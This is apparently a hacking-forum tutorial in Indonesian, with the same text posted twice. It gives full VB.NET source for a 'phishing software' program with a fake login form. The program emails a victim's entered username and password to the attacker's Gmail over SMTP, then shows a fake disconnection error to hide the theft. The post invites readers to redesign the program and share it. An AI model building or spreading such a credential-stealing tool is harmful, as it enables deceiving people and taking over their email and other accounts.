tambahkan
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
![[Image: exx.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sktSWRKGMA3VvAvLdPPCZ6PrkJGc_4Jtfu82BEijJc2ZHbUR9-aC_Ay-QoOj96BprXTroyzeUc88laonniiEepek3PqLdwbqqokOj06Jd0U8S4ske8qS95hgRRqZUm3BXOww=s0-d)
ini code nya :
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
![[Image: xe.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1eBypXL6t6APqDu-pj5IjDTfz5f9rBgG62HiSOyvvBEaons5RXuRNYe5-H9YJVBAFjrYF_LnTH0CkvfexSjGvomJjQ8pt2Tj58l6RSGOR-eYXkMdgJchBYckfBQShybb_=s0-d)
kalau ada error kyk gini berarti phising sopware sukses
![[Image: ex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_um-TB5puB05jBSoCPeSUWuN1yt_d913SGekQAbAvOLYjgh2S7KUN9IOD469usdccAVk3K0YzRU-3S4GTr9DUu9ldZGk1uJhjLv40PG84b3iWFKrqn5odkihUw3vQM7zz2z=s0-d)
terus lihat di gmail agan .
![[Image: xex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEOSYtLNy0yeh6_oTD2g-bJupHKtWcRetQ_W3beXtNm0bB97Pw4sosTV36nTgUb6FYyMObYkG927yAzzkDDLRMtpCD5dShOGqhLqJ2L2Y7usgxzGg0nTKvGLJPNWeasABo=s0-d)
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
Spoiler:
ini code nya :
Spoiler:
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
Spoiler:
kalau ada error kyk gini berarti phising sopware sukses
Spoiler: hide
terus lihat di gmail agan .
Spoiler:
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .